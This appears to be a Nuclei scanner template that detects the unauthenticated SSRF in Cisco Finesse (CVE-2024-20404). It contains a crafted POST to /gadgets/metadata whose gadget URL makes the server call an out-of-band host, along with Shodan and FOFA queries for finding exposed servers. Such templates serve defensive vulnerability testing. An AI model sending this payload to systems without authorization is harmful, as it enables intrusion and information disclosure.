id: CVE-2024-20404

info:
  name: Cisco Finesse - Server-Side Request Forgery (SSRF)
  author: 0x_Akoko
  severity: medium
  description: |
    Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.
  impact: |
    Attackers can access sensitive information from services associated with the device, potentially leading to information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by Cisco for Finesse.
  reference:
    - https://github.com/3zz4t/CVE-2024-20404
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20404
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2024-20404
    epss-score: 0.21738
    epss-percentile: 0.97391
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Cisco Finesse" port:8445
    fofa-query: title="Cisco Finesse" && port="8445"
  tags: cve,cve2024,cisco,finesse,ssrf,unauth,oob,vkev

http:
  - raw:
      - |
        POST /gadgets/metadata HTTP/1.1
        Host: {{Hostname}}

        {"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://{{interactsh-url}}"}]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "At least 1 ModulePrefs is required")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a0048304602210093cc9efba51e242829c54b694e6bc1ea07d2a3f14e234fbd79640246e75017930221009f8e0fb92050be69a804e42b0f8a9ae992d927eb6d6668e757434c041b793451:922c64590222798bb761d5b6d8e72950